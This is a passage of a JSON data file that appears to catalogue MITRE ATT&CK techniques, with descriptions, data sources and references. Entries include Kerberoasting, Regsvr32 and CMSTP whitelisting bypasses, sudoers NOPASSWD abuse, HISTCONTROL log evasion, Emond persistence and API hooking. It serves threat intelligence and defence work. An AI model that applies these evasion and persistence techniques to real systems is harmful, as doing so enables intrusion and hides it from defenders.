"meta": {
"external_id": "T1208",
"refs": [
"https://adsecurity.org/?p=2293",
"https://attack.mitre.org/techniques/T1208",
"https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
"https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1",
"https://msdn.microsoft.com/library/ms677949.aspx",
"https://redsiege.com/kerberoast-slides",
"https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx",
"https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/"
]
},
"related": [
{
"dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0",
"value": "Kerberoasting - T1208"
},
{
"description": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)",
"meta": {
"external_id": "CAPEC-177",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification",
"Image: Image Metadata",
"Process: Process Metadata",
"Scheduled Job: Scheduled Job Metadata",
"Scheduled Job: Scheduled Job Modification",
"Service: Service Creation",
"Service: Service Metadata"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"Containers"
],
"refs": [
"http://pages.endgame.com/rs/627-YBU-612/images/EndgameJournal_The%20Masquerade%20Ball_Pages_R2.pdf",
"https://attack.mitre.org/techniques/T1036",
"https://capec.mitre.org/data/definitions/177.html",
"https://lolbas-project.github.io/",
"https://twitter.com/ItsReallyNick/status/1055321652777619457"
]
},
"uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
"value": "Masquerading - T1036"
},
{
"description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)",
"meta": {
"external_id": "T1064",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:execution"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"http://www.metasploit.com",
"https://attack.mitre.org/techniques/T1064",
"https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/",
"https://github.com/mattifestation/PowerSploit",
"https://www.uperesia.com/analyzing-malicious-office-documents",
"https://www.veil-framework.com/framework/"
]
},
"uuid": "7fd87010-3a00-4da3-b905-410525e8ec44",
"value": "Scripting - T1064"
},
{
"description": "A bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). (Citation: MTrends 2016)\n\nAdversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.\n\n### Master Boot Record\nThe MBR is the section of disk that is first loaded after completing hardware initialization by the BIOS. It is the location of the boot loader. An adversary who has raw access to the boot drive may overwrite this area, diverting execution during startup from the normal boot loader to adversary code. (Citation: Lau 2011)\n\n### Volume Boot Record\nThe MBR passes control of the boot process to the VBR. Similar to the case of MBR, an adversary who has raw access to the boot drive may overwrite the VBR to divert execution during startup to adversary code.",
"meta": {
"external_id": "T1067",
"refs": [
"http://www.symantec.com/connect/blogs/are-mbr-infections-back-fashion",
"https://attack.mitre.org/techniques/T1067",
"https://www.fireeye.com/content/dam/fireeye-www/regional/fr_FR/offers/pdfs/ig-mtrends-2016.pdf"
]
},
"related": [
{
"dest-uuid": "1b7b1806-7746-41a1-a35d-e48dae25ddba",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d",
"value": "Bootkit - T1067"
},
{
"description": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), PowerSploit, (Citation: Powersploit) and PSAttack. (Citation: Github PSAttack)\n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) (Citation: Microsoft PSfromCsharp APR 2014)",
"meta": {
"external_id": "T1086",
"refs": [
"http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf",
"http://www.sixdub.net/?p=367",
"https://attack.mitre.org/techniques/T1086",
"https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/",
"https://github.com/jaredhaight/PSAttack",
"https://github.com/mattifestation/PowerSploit",
"https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/",
"https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx",
"https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html"
]
},
"related": [
{
"dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0",
"value": "PowerShell - T1086"
},
{
"description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)",
"meta": {
"external_id": "T1099",
"refs": [
"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html",
"https://attack.mitre.org/techniques/T1099"
]
},
"related": [
{
"dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a",
"value": "Timestomp - T1099"
},
{
"description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)",
"meta": {
"external_id": "T1117",
"refs": [
"https://attack.mitre.org/techniques/T1117",
"https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
"https://support.microsoft.com/en-us/kb/249873",
"https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/",
"https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html"
]
},
"related": [
{
"dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
"value": "Regsvr32 - T1117"
},
{
"description": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) InstallUtil is located in the .NET directories on a Windows system: C:\\Windows\\Microsoft.NET\\Framework\\v\\InstallUtil.exe and C:\\Windows\\Microsoft.NET\\Framework64\\v\\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)]. (Citation: LOLBAS Installutil)",
"meta": {
"external_id": "T1118",
"refs": [
"https://attack.mitre.org/techniques/T1118",
"https://lolbas-project.github.io/lolbas/Binaries/Installutil/",
"https://msdn.microsoft.com/en-us/library/50614e95.aspx"
]
},
"related": [
{
"dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b",
"value": "InstallUtil - T1118"
},
{
"description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)",
"meta": {
"external_id": "T1191",
"refs": [
"http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/",
"https://attack.mitre.org/techniques/T1191",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)",
"https://github.com/api0cradle/UltimateAppLockerByPassList",
"https://msitpros.com/?p=3960",
"https://twitter.com/ItsReallyNick/status/958789644165894146",
"https://twitter.com/NickTyrer/status/958450014111633408"
]
},
"related": [
{
"dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3",
"value": "CMSTP - T1191"
},
{
"description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user’s logon credentials.",
"meta": {
"external_id": "T1142",
"refs": [
"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
"https://attack.mitre.org/techniques/T1142",
"https://en.wikipedia.org/wiki/Keychain_(software)"
]
},
"related": [
{
"dest-uuid": "1eaebf46-e361-4437-bc23-d5d65a3b92e3",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d",
"value": "Keychain - T1142"
},
{
"description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.",
"meta": {
"external_id": "T1152",
"refs": [
"https://attack.mitre.org/techniques/T1152",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
]
},
"related": [
{
"dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee",
"value": "Launchctl - T1152"
},
{
"description": "**This technique has been deprecated and should no longer be used.**\n\nThe source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.",
"meta": {
"external_id": "T1153",
"kill_chain": [
"mitre-attack:execution"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1153",
"https://ss64.com/bash/source.html"
]
},
"uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
"value": "Source - T1153"
},
{
"description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
"meta": {
"external_id": "T1154",
"refs": [
"https://attack.mitre.org/techniques/T1154",
"https://bash.cyberciti.biz/guide/Trap_statement",
"https://ss64.com/bash/trap.html"
]
},
"related": [
{
"dest-uuid": "63220765-d418-44de-8fae-694b3912317d",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
"value": "Trap - T1154"
},
{
"description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.",
"meta": {
"external_id": "CAPEC-13",
"refs": [
"https://attack.mitre.org/techniques/T1148",
"https://capec.mitre.org/data/definitions/13.html"
]
},
"related": [
{
"dest-uuid": "8f504411-cb96-4dac-a537-8d2bb7679c59",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "086952c4-5b90-4185-b573-02bad8e11953",
"value": "HISTCONTROL - T1148"
},
{
"description": "Adversaries may modify visual content available internally or externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
"meta": {
"external_id": "T1491",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"File: File Modification",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1491"
]
},
"uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b",
"value": "Defacement - T1491"
},
{
"description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\".",
"meta": {
"external_id": "T1155",
"refs": [
"https://attack.mitre.org/techniques/T1155",
"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
]
},
"related": [
{
"dest-uuid": "37b11151-1776-4f8f-b328-30939fbf2ceb",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b",
"value": "AppleScript - T1155"
},
{
"description": "Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.(Citation: Lookout eSurv)\n\n[Geofencing](https://attack.mitre.org/techniques/T1581) is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements.\n\nOne method to accomplish [Geofencing](https://attack.mitre.org/techniques/T1581) on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to other [Geofencing](https://attack.mitre.org/techniques/T1581) methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include “Allow only while using the app”, which will effectively prohibit background location collection.(Citation: Android Geofencing API)\n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.(Citation: Apple Location Services)\n\n[Geofencing](https://attack.mitre.org/techniques/T1581) can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific [Input Prompt](https://attack.mitre.org/techniques/T1411)s and/or advertisements.",
"meta": {
"external_id": "T1581",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1581",
"https://blog.lookout.com/esurv-research",
"https://developer.android.com/training/location/geofencing",
"https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services"
]
},
"related": [],
"uuid": "8197f026-64da-4700-93b9-b55ba55f3b31",
"value": "Geofencing - T1581"
},
{
"description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond will load any rules from the /etc/emond.d/rules/ directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.",
"meta": {
"external_id": "T1519",
"refs": [
"http://www.magnusviri.com/Mac/what-is-emond.html",
"https://attack.mitre.org/techniques/T1519",
"https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
"https://www.xorrior.com/emond-persistence/"
]
},
"related": [
{
"dest-uuid": "9c45eaa3-8604-4780-8988-b5074dbb9ecd",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "d376668f-b208-42de-b1f5-fdfe0ad4b753",
"value": "Emond - T1519"
},
{
"description": "Adversaries may utilize hooking to hide the presence of artifacts associated with their behaviors to evade detection. Hooking can be used to modify return values or data structures of system APIs and function calls. This process typically involves using 3rd party root frameworks, such as Xposed or Magisk, with either a system exploit or pre-existing root access. By including custom modules for root frameworks, adversaries can hook system APIs and alter the return value and/or system data structures to alter functionality/visibility of various aspects of the system.",
"meta": {
"external_id": "T1617",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1617"
]
},
"uuid": "ccde43e4-78f9-4f32-b401-c081e7db71ea",
"value": "Hooking - T1617"
},
{
"description": "The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.",
"meta": {
"external_id": "T1169",
"refs": [
"https://attack.mitre.org/techniques/T1169",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
]
},
"related": [
{
"dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72",
"value": "Sudo - T1169"
},
{
"description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)",
"meta": {
"external_id": "T1179",
"refs": [
"http://www.gmer.net/",
"https://attack.mitre.org/techniques/T1179",
"https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/",
"https://github.com/jay/gethooks",
"https://github.com/prekageo/winhook",
"https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx",
"https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx",
"https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis",
"https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html",
"https://www.adlice.com/userland-rootkits-part-1-iat-hooks/",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
"https://www.exploit-db.com/docs/17802.pdf",
"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918",
"https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/",
"https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf",
"https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
]
},
"related": [
{
"dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "66f73398-8394-4711-85e5-34c8540b22a5",
"value": "Hooking - T1179"
},
{
"description": "**This technique has been deprecated. Please use [DNS Calculation](https://attack.mitre.org/techniques/T1568/003).**\n\nDNS Calc is a technique in which the octets of an IP address are used to calculate the port for command and control servers from an initial DNS request. (Citation: CrowdstrikeNumberedPanda) (Citation: FireEyeDarwinsAPTGroup) (Citation: Rapid7G20Espionage)",
"meta": {
"external_id": "T1324",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1324",
"https://blog.rapid7.com/2013/08/26/upcoming-g20-summit-fuels-espionage-operations/"
]
},
"uuid": "7823039f-e2d5-4997-853c-ec983631206b",
"value": "DNSCalc - T1324"
},
{
"description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.",
"meta": {
"external_id": "CAPEC-98",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows",
"SaaS",
"Office 365",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1566",
"https://capec.mitre.org/data/definitions/98.html",
"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
]
},
"uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
"value": "Phishing - T1566"
},
{
"description": "Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.\n\nOn the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)",
"meta": {
"external_id": "AUT-11",
"kill_chain": [
"mitre-mobile-attack:credential-access"
],
"mitre_platforms": [
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1579",
